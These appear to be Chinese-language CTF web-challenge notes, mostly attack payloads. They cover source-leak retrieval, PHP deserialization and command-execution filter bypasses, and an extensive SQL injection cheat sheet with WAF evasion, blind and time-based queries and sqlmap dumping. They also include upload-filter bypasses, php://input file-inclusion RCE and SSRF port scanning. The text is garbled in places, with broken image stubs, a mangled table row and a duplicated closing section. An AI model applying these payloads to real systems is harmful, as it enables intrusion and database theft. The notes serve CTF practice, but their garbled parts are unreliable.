vim -r filename
访问得到index.php的源码备份,正在vim编辑时候,异常退出的index.php/.DS_Store
,下载附件,在win系统打开没发现什么东西,放到kali里用cat命令打开, 复制 724207d47744fcc761df76adf6febb7c.txt
(txt前面的)到网站中,得到flag?url=/var/log/nginx/access.log
windows 下 dirsearch.py
python3 dirsearch.py -u http://challenge-b20bc02a1f02c35f.sandbox.ctfhub.com:10080/
linux 下 GitHack.py
python GitHack.py -u http://challenge-b20bc02a1f02c35f.sandbox.ctfhub.com:10080/.git
git log
命令查看历史记录我们要切换到add flag 这个版本git reset --hard 746cd7ee70d6174b1de07d591b6861cd3b243c1f
文件夹里面会生成新的文件,我们查看文件得到flag。git stash list
命令查看历史记录 发现有add flag, 因此直接git stash apply
或者git stash pop
,然后发现目录下多了个txt文件,打开里面就是flag.示例:
密码为shell
注入为 shell = xxx
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8x95eWtp-1666584434826)(C:\Users\86136\AppData\Roaming\Typora\typora-user-images\image-20220211103508226.png)]
/\b[a-z]+\b /i
/ 匹配/修饰符
字符 | 描述 |
---|---|
\ | 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,’n’ 匹配字符 “n”。’\n’ 匹配一个换行符。序列 ‘\’ 匹配 “\” 而 “(” 则匹配 “(”。 |
^ | 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘\n’ 或 ‘\r’ 之后的位置。 |
$ | 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘\n’ 或 ‘\r’ 之前的位置。 |
* | 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。 |
+ | 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。 |
? | 匹配前面的子表达式零次或一次。例如,”do(es)?” 可以匹配 “do” 或 “does” 中的”do” 。? 等价于 {0,1}。 |
{n} | n 是一个非负整数。匹配确定的 n 次。例如,’o{2}’ 不能匹配 “Bob” 中的 ‘o’,但是能匹配 “food” 中的两个 o。 |
{n,} | n 是一个非负整数。至少匹配n 次。例如,’o{2,}’ 不能匹配 “Bob” 中的 ‘o’,但能匹配 “foooood” 中的所有 o。’o{1,}’ 等价于 ‘o+’。’o{0,}’ 则等价于 ‘o*’。 |
{n,m} | m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,”o{1,3}” 将匹配 “fooooood” 中的前三个 o。’o{0,1}’ 等价于 ‘o?’。请注意在逗号和两个数之间不能有空格。 |
? | 当 该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 “oooo”,’o+?’ 将匹配单个 “o”,而 ‘o+’ 将匹配所有 ‘o’。 |
. | 匹配除 “\n” 之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用象 ‘[.\n]’ 的模式。 |
(pattern) | 匹配 pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 ‘(’ 或 ‘)’。 |
(?:pattern) | 匹 配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 “或” 字符 (|) 来组合一个模式的各个部分是很有用。例如, ‘industr(?:y|ies) 就是一个比 ‘industry|industries’ 更简略的表达式。 |
(?=pattern) | 正 向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,’Windows (?=95|98|NT|2000)’ 能匹配 “Windows 2000″ 中的 “Windows” ,但不能匹配 “Windows 3.1″ 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 |
(?!pattern) | 负 向预查,在任何不匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如’Windows (?!95|98|NT|2000)’ 能匹配 “Windows 3.1″ 中的 “Windows”,但不能匹配 “Windows 2000″ 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始 |
x|y | 匹配 x 或 y。例如,’z|food’ 能匹配 “z” 或 “food”。’(z|f)ood’ 则匹配 “zood” 或 “food”。 |
[xyz] | 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。 |
[^xyz] | 负值字符集合。匹配未包含的任意字符。例如, ‘[^abc]’ 可以匹配 “plain” 中的’p’。 |
[a-z] | 字符范围。匹配指定范围内的任意字符。例如,’[a-z]’ 可以匹配 ‘a’ 到 ‘z’ 范围内的任意小写字母字符。 |
[^a-z] | 负值字符范围。匹配任何不在指定范围内的任意字符。例如,’[^a-z]’ 可以匹配任何不在 ‘a’ 到 ‘z’ 范围内的任意字符。 |
\b | 匹配一个单词边界,也就是指单词和空格间的位置。例如, ‘er\b’ 可以匹配”never” 中的 ‘er’,但不能匹配 “verb” 中的 ‘er’。 |
\B | 匹配非单词边界。’er\B’ 能匹配 “verb” 中的 ‘er’,但不能匹配 “never” 中的 ‘er’。 |
\cx | 匹配由 x 指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 ‘c’ 字符。 |
\d | 匹配一个数字字符。等价于 [0-9]。 |
\D | 匹配一个非数字字符。等价于 [^0-9]。 |
\f | 匹配一个换页符。等价于 \x0c 和 \cL。 |
\n | 匹配一个换行符。等价于 \x0a 和 \cJ。 |
\r | 匹配一个回车符。等价于 \x0d 和 \cM。 |
\s | 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 |
\S | 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 |
\t | 匹配一个制表符。等价于 \x09 和 \cI。 |
\v | 匹配一个垂直制表符。等价于 \x0b 和 \cK。 |
\w | 匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’。 |
\W | 匹配任何非单词字符。等价于 ‘[^A-Za-z0-9_]’。 |
\xn | 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,’\x41′ 匹配 “A”。’\x041′ 则等价于 ‘\x04′ & “1″。正则表达式中可以使用 ASCII 编码。. |
\num | 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,’(.)\1′ 匹配两个连续的相同字符。 |
\n | 标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 |
\nm | 标 识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。 |
\nml | 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 |
\un | 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。 |
◆i : | 如果在修饰符中加上"i",则正则将会取消大小写敏感性,即"a"和"A" 是一样的。 |
---|---|
◆m: | 默认的正则开始"^“和结束” " 只是对于正则字符串如果在修饰符中加上 " m " ,那么开始和结束将会指字符串的每一行:每一行的开头就是 " " ,结尾就是 " "只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是" "只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"",结尾就是""。 |
◆s: | 如果在修饰符中加入"s",那么默认的"."代表除了换行符以外的任何字符将会变成任意字符,也就是包括换行符! |
◆x: | 如果加上该修饰符,表达式中的空白字符将会被忽略,除非它已经被转义。 |
◆e: | 本修饰符仅仅对于replacement有用,代表在replacement中作为PHP代码。 |
◆A: | 如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说"/a/A"匹配"abcd"。 |
◆E: | 与"m"相反,如果使用这个修饰符,那么"$"将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。 |
◆U: | 和问号的作用差不多,用于设置"贪婪模式"。 |
serialize() 序列化
unserialize() 反序列化
一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已
__construct():构造函数,当对象被创建的时候自动调用,对对象进行初始化。
__destruct():当对象被销毁时会自动调用。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EPkcU30l-1666584434827)(C:\Users\86136\AppData\Roaming\Typora\typora-user-images\image-20220211174349530.png)]
__wakeup() 对象属性个数的值大于真实的属性个数的值时就会跳过__wakeup的执行
实例:下面的1改成2
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
str_replace('a','b','abcd'); #结果: bbcd
in_array($a, $b);#a是否在b里,返回boolen
mb_strpos($a, $b);#返回字符串 b在a中的首次出现位置
mb_substr($page,0,10);#返回0-10位置的数据
include $_REQUEST['file']; include函数:以字符‘/’分隔(而且不计个数),如果在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
md5() md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
md5(QNKCDZO) = 0e830400451993494058024219903391 = 0
cat,system(''),highlight_file('')被禁用
payload = c=$a='sys';$b='tem';$d=$a.$b;$d('ca""t config.php'); #或者ca\t
?c=echo `$_POST[1]`?> 然后post提交参数 1=cat config.php
#echo cat config.php
#eval system('cat config.')
;
被禁用
代码..?>提前闭合
其他命令执行函数
system('')
passthru()
# passthru("ca''t `ls`"); linxu下反引号``作用是先执行里面的内容,然后复制给cat
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
1、判断注入类型:
select * from table where id = $id; #数字型
select * from table where id = '$id'; #字符型,单引号双引号均可
select * from table where id = ('$id'); #字符型,单引号双引号均可
数字型:
方法一:
注入 id=a
,报错则表示为数字型,否则为字符型
方法二:id= x and 1=1
页面依旧运行正常,继续进行下一步。
id= x and 1=2
页面运行错误,则说明此sql注入为数字型注入。
字符型:
id= x' and '1'='1
页面运行正常,继续进行下一步。
id= x' and '1'='2
页面运行错误,则说明此sql注入为字符型注入。
2、若是字符型,则判断包裹类型:
//单引号 双引号 同理
//注入id = a'#; //成功则为 id = '$id' = 'a'#';
//否则为括号包裹
示例:
select * from stu where id = 1 order by X; #X从大往小试,最大的是对应字段的数量
一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。
示例:
select * from stu id ='' union select 1,2,3;#和上面order by 最大值对应
根据查询结果的显示,得到将要查询的信息放置的位置。
查询sql自带的函数来确定当前用户,当前数据库等信息。
数据库函数有以下:
1、用户:user()
2、当前数据库:database()
3、数据库版本:version()
4、@@hostname (用户)
5、@@datadir (数据库在文件的位置)
6、@@version (版本)
7、@@version_compile_OS (操作系统版本)
查当前数据库database()test, 查表名stu, 查列名/zsname, 查内容Jack
union select group_concat(schema_name) from information_schema.schemata
union select table_schema,count(*) from 数据库名.tables
information_schema?
union select group_concat(table_name) from information_schema.tables where table_schema='数据库名字'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99ngAQbd-1666584434828)(E:\Typora\wp,png\web做题\image-20220219112243484.png)]
union select table_name,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1)
union select group_concat(column_name) from information_schema.columns where table_name='表名'
union select 字段名 from 表名
select 1,id,3 from stu
union select 1,group_concat(列名) from 数据库名.表名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sQ55PGCj-1666584434829)(E:\Typora\wp,png\web做题\image-20220219111942986.png)]
注释符绕过
//常用注释符
-- 注释内容
# 注释内容
/*注释内容*/
//实例
select * from users -- where id = 1;
select * from users # where id = 2;
select * from users where id = 3 /*+1*/
大小写绕过
常用于waf
的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select
,可以尝试使用Select
等绕过。
#大小写绕过
select * from users where id = -1 union Select 1,2,3;
内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
select * from users where id = -1 union /*!select*/ 1,2,3;
双写关键字绕过
在某一些简单的waf
中,将关键字select
等只使用replace()
函数置换为空,这时候可以使用双写关键字绕过。例如select
变成seleselectct
,在经过waf
的处理之后又变成select
,达到绕过的要求。
特殊编码绕过
select * from users where username = 0x7465737431;#test1
Test
等价于
CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)
tip:好像新版mysql不能用了
空格过滤绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
+:加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
实例:
select/**/*/**/from/**/users;
select(id)from(users);#注意括号中不能含有*
mysql> select
-> *
-> from
-> users
-> where
-> id = 1;
select`id`from`users`where`id`=1;
过滤or and xor not 绕过
and = &&
or = ||
xor = | # 异或
not = !
过滤等号=绕过
通配符
的like
执行的效果和=
一致,所以可以用来绕过。正常加上通配符的like
select * from users where username like "test%";
不加上通配符的like
可以用来取代=
:
select * from users where id like 1;
rlike
:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来用来取代=
时,rlike
的用法和上面的like
一样,没有通配符效果和=
一样mysql> select * from users where id rlike 1;
#test1,1,**1 会被选中
regexp
:MySQL中使用来进行正则表达式匹配select * from users where id regexp 1;
#id=1 被返回
<>
等价于!=
所以前面加一个 !结果就是等于号了select * from users where !(id <> 1);#id=1
过滤大小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)
//username = test1; t = char(116)
//substr(str,int1,int2) #返回str子串,int1=0/1 都是从起始位置开始,int2代表长度
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);#执行成功
strcmp(ascii(substr(username,1,1)),117);#执行失败
//username = test1
select * from users where id = 1 and substr(username,1,1) in ('t');#success
select * from users where id = 1 and substr(username,1,1) in ('y');#empty set
between a and b
:范围在a-b之间select * from users where id between 1 and 2;//返回id=1,2
select * from users where id between 1 and 1;//相当于=
过滤引号绕过
select column_name from information_schema.tables where table_name=0x7573657273;#users
常用在web应用使用的字符集为GBK
时,并且过滤了引号,就可以试试宽字节。
# 过滤单引号时
%bf%27 %df%27 %aa%27
#单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说
%df\’ = %df%5c%27=縗’
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-knXQcp78-1666584434829)(E:\Typora\wp,png\web做题\image-20220219094007151.png)]
过滤逗号绕过
sql盲注时常用到以下的函数:
substr()
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
substring()
用法和substr()一样
mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符
回到正题,如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len
,其中pos代表从pos个开始读取len长度的子串
//例如在substr()等函数中,常规的写法是
select substr("string",1,3);
//如果过滤了逗号,可以这样使用 from pos for len来取代
select substr("string" from 1 for 3);
在sql盲注中,如果过滤逗号,以下参考下面的写法绕过
//观察回显数字
select ascii(substr(database() from 1 for 1)) > 120;
select ascii(substr(database() from 1 for 1)) > 110;
join
关键字来绕过select * from users union select * from (select 1)a join (select 2)b join(select 3)c;#等价于select 1,2,3
like
关键字适用于substr()
等提取子串的函数中的逗号
select ascii(substr(user(),1,1))=114;
select user() like "r%";
select user() like "t%";
使用offset
关键字
适用于limit
中的逗号被过滤的情况
limit 2,1
等价于limit 1 offset 2
select * from users limit 2,1;
select * from users limit 1 offset 2;
过滤函数绕过
UpdateXML(xml_target,xpath_expr,new_xml)
#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#此函数返回在xml_frag用xpath_expr路径匹配到的XML片段。
例如:
//返回数据库名称
and UpdateXML(1,concat('~',database()),1)#
and ExtractValue(1,concat('~',database())#
//查表名
and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1)#
and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)))#
//查字段名
and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = '表名' limit 0,1)),1)#
and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = '表名' limit 0,1)))#
//查字段内容
and UpdateXML(1,concat('0x7e',(select 字段名 from 表名 limit 0,1)),1)#
界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
id=admin and sleep(5) //正确,则回显延迟
id=aaaaa and sleep(5) //错误,回显不延迟
通过修改length函数的等值,触发if条件,查看是否延时,就可以获取库名长度
id = 1 and if(length(database())=1,sleep(5),1) #
通过修改substr函数的值,触发if条件,查看是否延时,就可以获取库名
//substr(str,int1,int2) #返回str子串,int1=0/1 都是从起始位置开始,int2代表长度
id = 1 and if(ascii(substr(database(),1,1))=A的ascii值,sleep(5),1) #
布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
//数据库长度
id = 1 and length(database())>4
//数据库名
id = 1 and ascii(substr(database(),1,1))>106 #第一个字符
id = 1 and ascii(substr(database(),2,1))>97 #第二个字符
//该数据库下几个表
and length(select table_name from information_schema.tables where table_schema=database()) >4
//第一个表名长
and length(select table_name from information_schema.tables where table_schema=database() limit 0,1) >4
//表名
select table_name from information_schema.tables where table_schema=database()
#这条查询语句查询出来可能会查询出多个表(多个字符串),但是substr函数只能处理一个字符串,所以我们要在后面加上 limit 函数,限制只能输出一个表(一个字符串)
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107
//几个字段名
and length(select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ )>2
//第一个字段名长
and length(select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1)>2
//字段名
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))>1
# 双引号可有可无
# 主要不要少了/?id=1 id必须是可执行的
python sqlmap.py -u "http://challenge-9d9491a09f2e7c36.sandbox.ctfhub.com:10800/?id=1" --dbs
sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --current-db // 当前数据库
sqlmap -u “注入地址” --users // 列数据库用户
sqlmap -u “注入地址” --current–user // 当前用户
sqlmap -u “注入地址” -D 数据库 --tables // 列举数据库的表名
sqlmap -u “注入地址” -D 数据库 -T 表名 --columns // 获取表的列名
sqlmap -u “注入地址” -D 数据库 -T 表名字 -C 列名字 --dump //获取数据库下表的列信息
1.GET参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
2.POST参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"
或者
bp抓包,右键,copy file 然后执行
sqlmap -r 1.txt --current-db
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o82I0Dn2-1666584434830)(E:\Typora\wp,png\web做题\image-20220303090259234.png)]
限制文件格式是,可用bp抓包,修改Content-Type: image/jpeg
//蚁剑连接时,地址必须为上传文件所在的地址 例如http://127.0.0.1/DVWA/hackable/uploads/123.php
//上传图片,图片末尾是代码
copy 文件1.jpg/b+文件2.php/a 新文件.jpg
#.htaccess文件
#FileMatch 参数为文件名正则匹配
<FilesMatch "hack.jpg">
#匹配文件名带hack.jpg,解析为hack.php
Sethandler application/x-httpd-php
FilesMatch>
然后上传hack.jpg,写入
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,用作改变文件改变了路径
当是GET接收情况的时候,直接用 %00 就可以了。
hack.php%00.png
当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL解码,也就是URL-decode;
不太确定,暂时当作get用b
为什么两者用法不同?
这是因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断。
文件包含漏洞是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务期允许包含一个远程文件)
A为目标服务器,B为本地服务器。A存在文件包含漏洞,在B下创造一个文件上传一句话木马,然后利用A的漏洞,包含B下的文件,达到B也可以上传文件,然后蚁剑连接
require:找不到被包含的文件,报错,并且停止运行脚本
include:找不到被包含的文件,只会报错,但会继续运行脚本
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次
file_open()
URL栏中有以下内容则可能存在文件包含
?page=
?file=
?home=
name=php://input
伪协议 <?php include($_GET['url']);?>
//使用phpw
?url=php://input -- GET请求的url中拼接伪协议
<?php system('ls');?> -- post请求内容构造需要执行的代码 可能需要bp抓包,修改传递方式
name=data:text/plain,
伪协议rce分为远程执行ping,和远程代码执行evel
linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
ping:
command1 & command2 先执行command2后执行command1
command1 && command2 先执行command1后执行command2,若command1执行失败,则不执行command2
command1 | command2 只执行command2
command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)
command1 && cat flag.php | base64 用base64编码flag.php内容,然后输出,一般都是flag不能直接cat或者存在特殊字符没有回显,或者下面方法
command1 && base64 flag.php
eval:
#结尾的 ; 不能少
system("ls");
system("ls -all"); //可显示隐藏文件
system("ls /"); //上级目录
php://input
#查看phpinfo,发现以下字段,allow_url_fopen,allow_url_include on状态 证明是可以使用php://input的。
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。即/?file=php://input,然后bp抓包,修改为POST传参,然后注入PHP代码
php://filter
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FfulNIen-1666584434831)(E:\Typora\wp,png\web做题\image-20220404165507620.png)]
http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag
一些过滤:
空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令分隔符除了;还有%0a
XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的。XSS根据恶意脚本的传递方式可以分为3种,分别为反射型、存储型、DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射、存储型的区别,
访问网站的绝对路径:
/?url=file:///var/www/html/xxx.php
端口扫描(dict协议,bp抓包,爆破
dict://127.0.0.1:端口号
问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。即/?file=php://input,然后bp抓包,修改为POST传参,然后注入PHP代码
php://filter
[外链图片转存中...(img-FfulNIen-1666584434831)]
```shell
http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag
一些过滤:
空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令分隔符除了;还有%0a
XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的。XSS根据恶意脚本的传递方式可以分为3种,分别为反射型、存储型、DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射、存储型的区别,
访问网站的绝对路径:
/?url=file:///var/www/html/xxx.php
端口扫描(dict协议,bp抓包,爆破
dict://127.0.0.1:端口号